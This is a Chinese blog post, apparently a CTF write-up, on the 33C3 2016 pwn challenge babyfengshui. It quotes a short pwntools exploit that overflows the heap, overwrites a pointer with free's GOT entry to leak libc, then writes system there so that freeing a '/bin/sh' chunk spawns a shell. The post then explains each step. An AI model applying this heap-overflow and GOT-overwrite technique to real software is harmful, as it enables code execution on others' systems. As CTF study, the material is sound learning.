从babyfengshui_33c3_2016中提升抽象能力

直接分析WP:

Add(0x80, 0x80, 'qin')
Add(0x80, 0x80, 'qin')
Add(0x8, 0x8, '/bin/sh\x00')
Del(0)

#注意堆块块首的长度
Add(0x100, 0x19c, "a"*0x198+p32(elf.got['free']))
Dis(1)
p.recvuntil("description: ")
free_addr = u32(p.recv(4))

libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')

#堆块1的description指针已经被修改为free的地址,则可以将free地址内的内容替换为system
Upd(1, 0x4, p32(sys_addr))
Del(2)

p.interactive()

来自这位师傅

首先这个输入检查机制不必多说,绕过检查机制,导致堆溢出是本题的关键。

接下来我们来关注两个重点的问题,,,就是 “往某个地址写东西“” ,这句话的利用:

在这里插入图片描述

Add(0x100, 0x19c, "a"*0x198+p32(elf.got['free']))
Dis(1)

这其实就是在修改description处的用户数据区的值,原本要显示的第二个堆中存着的堆地址被改变。
导致直接去显示了got表中free函数的函数地址,这里比较巧,elf.got[,]和图中那个sub_80486bb的第一个地址一样,都是可以被写的地址。

Upd(1, 0x4, p32(sys_addr))
Del(2)

再来看这个,利用之前传入的free.got表的地址,再利用该函数往该地址写入数据的功能,导致本来是要向原本存储的第一个堆块的地址处写数据改为向free.got表处写数据,直接导致free.got表处的free函数的地址被修改,,,,而后执行system(“/bin/sh\x00”)

在这里插入图片描述
有一点比较离谱的是,这里free的参数是个"/bin/sh\x00"该字符串的地址

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值